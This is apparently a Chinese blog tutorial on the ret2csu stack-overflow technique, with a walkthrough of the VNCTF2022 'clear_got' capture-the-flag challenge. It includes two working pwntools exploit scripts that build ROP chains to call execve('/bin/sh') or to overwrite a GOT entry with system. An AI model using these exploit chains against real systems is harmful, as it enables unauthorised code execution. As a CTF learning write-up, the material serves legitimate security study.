PWN栈溢出基础-ret2csu

2025-03-09 1 0

ret2csu

ret2csu简单来说就是利用一段万能的gadgets,可以控制一些寄存器的参数,调用call。一般使用ret2csu靠劫持 __libc_csu_init函数,这个函数在初始化libc是被调用,所以动态链接的程序都会调用这个函数。
函数的汇编代码大致如下

.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250                 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250                 endbr64
.text:0000000000401254                 push    r15
.text:0000000000401256                 lea     r15, __frame_dummy_init_array_entry
.text:000000000040125D                 push    r14
.text:000000000040125F                 mov     r14, rdx
.text:0000000000401262                 push    r13
.text:0000000000401264                 mov     r13, rsi
.text:0000000000401267                 push    r12
.text:0000000000401269                 mov     r12d, edi
.text:000000000040126C                 push    rbp
.text:000000000040126D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274                 push    rbx
.text:0000000000401275                 sub     rbp, r15
.text:0000000000401278                 sub     rsp, 8
.text:000000000040127C                 call    _init_proc
.text:0000000000401281                 sar     rbp, 3
.text:0000000000401285                 jz      short loc_4012A6
.text:0000000000401287                 xor     ebx, ebx
.text:0000000000401289                 nop     dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r13
.text:0000000000401293                 mov     rsi, r14
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

主要控制的部分如下

.text:0000000000401290                 mov     rdx, r13
.text:0000000000401293                 mov     rsi, r14
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

控制流程:
对于劫持到的程序的ret,我们可以返回到 0x4012AA的位置(不需要利用rsp,所以掠过),这样就会执行下面的指令,即把数据对应rbx,rbp,r12,r13,r14,r15依次出栈。在下面的ret指令中,我们可以写入 0x401290到前面的指令,为了继续向下执行call和jnp。call可以是我们想要跳转的地址,也可以不使用call一个空函数 _term_proc(call一个函数,需要的是指向这个函数的地址,例如一个函数的got地址,并不是函数本身的地址)。而继续执行jnp,不需要让程序跳转,因此要满足 rbp = rbx的条件。所以在最开始返回地址的时候,我们能够控制7个寄存器,通常就会设置为 rbx = 0, rbp = 1。这样rbx为0不会影响到call函数的执行,之后比较时会把rbx+1,这样恰好满足条件程序也不会跳转。之后又会执行之前的指令(可以二次控制参数,不需要就填入8*7的cyclic),返回时就可以返回需要的函数。
常见的用法为

call write/read -> .bss写入system,'/bin/sh' -> 调用system执行'/bin/sh'

由于ret2csu需要较多的字节数,所以需要控制好payload的长度

VNCTF2022公开赛clear_got

程序为64位程序

➜ checksec clear_got 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/micdy/.cache/.pwntools-cache-3.11/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/micdy/Desktop/pwnfile/clear_got'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

保护为堆栈不可执行

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[92]; // [rsp+0h] [rbp-60h] BYREF
  int v5; // [rsp+5Ch] [rbp-4h]

  init(argc, argv, envp);
  memset(buf, 0, 0x50uLL);
  puts("Welcome to VNCTF! This is a easy competition.///");
  read(0, buf, 0x100uLL);
  v5 = (int)&qword_601008;
  memset(&qword_601008, 0, 0x38uLL);
  return 0;
}

ret2csu

程序存在明显的溢出,但是在溢出后会清空got表,无法使用got表中的函数。没有办法直接使用ret2libc
程序还留下了两个系统调用,其中一个为sys_write

.text:0000000000400773                 public end2
.text:0000000000400773 end2            proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773                 push    rbp
.text:0000000000400774                 mov     rbp, rsp
.text:0000000000400777                 mov     rax, 1
.text:000000000040077E                 syscall                 ; LINUX - sys_write
.text:0000000000400780                 retn

没有能直接控制rdi,rdx的pop|ret
程序中有 __libc_csu_init尝试ret2csu去利用syscall

.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn

要利用syscall,还需要向.bss段写入'/bin/sh',需要调用read,而read的系统调用号为0,需要rax为0,但是main函数的返回值为0,即在main函数返回之前,rax会被设置为0,方便我们直接调用read,
再利用read构造返回值,read函数和write函数最后的返回值都是实际读到和写入的字节数(如果执行成功的话),而返回值会存入rax中,即执行 read(0,bss,0x3b)就可以控制rax的值为0x3b。这样就可以调用execv获取shell
大致流程入下
gadget1,为read准备寄存器->gadget2,为read修改寄存器->gadget1,为execv准备寄存器,syscall执行read->gadget2,为execv修改寄存器,syscall执行execv

from pwn import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

offset = 0x60
bss = elf.bss() + 0x100
syscall = 0x40077e
csu_gadget1 = 0x4007EA
csu_gadget2 = 0x4007d0
_DYNAMIC = 0x600e40

payload = b'A' * (offset + 8)
payload += p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(_DYNAMIC) # r12,call空函数
payload += p64(0x3b) # r13=rdx
payload += p64(bss) # r14=rsi
payload += p64(0) # r15=edi
payload += p64(csu_gadget2)
payload += b'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss + 8) # 为执行syscall做准备
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(syscall)
payload += p64(csu_gadget2)

p.recvuntil("///\n")
p.sendline(payload)

sleep(0.2)    
payload = b'/bin/sh\x00' + p64(syscall)
payload = payload.ljust(0x3b, b'A')
p.send(payload)
p.interactive()

ret2libc

首先使用sys_write泄露出libc基址;
然后通过sys_write的返回地址由rbp控制的特性,控制继续执行mov eax, 0;leave;ret控制rax,然后控制其他寄存器执行read函数,修改puts_got为system地址,puts_got+8为”/bin/sh”;
最后再执行puts(puts_got+8)即可。简单来说就是在got表被清空后重新写入函数的信息,在调用函数。

0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret

mov_ax = 0x000000000040075C
write = 0x0000000000400774
_puts = 0x000000000040071E
from pwn import *
from LibcSearcher import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')
libc = ELF('./pwnfile/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
  
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
mov_eax = 0x000000000040075C
_puts = 0x000000000040071E
write = 0x0000000000400774
  
start_got = elf.got['__libc_start_main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset = 0x68
payload1 = cyclic(offset) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(start_got) + p64(1) + p64(write) # write(1, start_got, 1)
payload1 += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got) + p64(1) + p64(0x000000000040077E) # read(0, puts_got, 1)
payload1 += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt) # puts(puts_got + 8)
p.recvuntil("///\n")
p.sendline(payload1)
start_addr = u64(p.recv(8))
libc_base = start_addr - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system'] - 0x8510
print(hex(system))
# gdb.attach(p)
payload2 = p64(system) + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

恶意软件伪装成合法 Go 库感染Linux和macOS用户 | CSO Online
【验证码逆向专栏】某盾 v2 滑动验证码逆向分析
探秘条件漏洞:系统安全的潜在隐患
记录某SRC邀请处逻辑越权到组织管理员漏洞
DNSTwist 使用指南
Vulnhub靶场——Lampiao

发布评论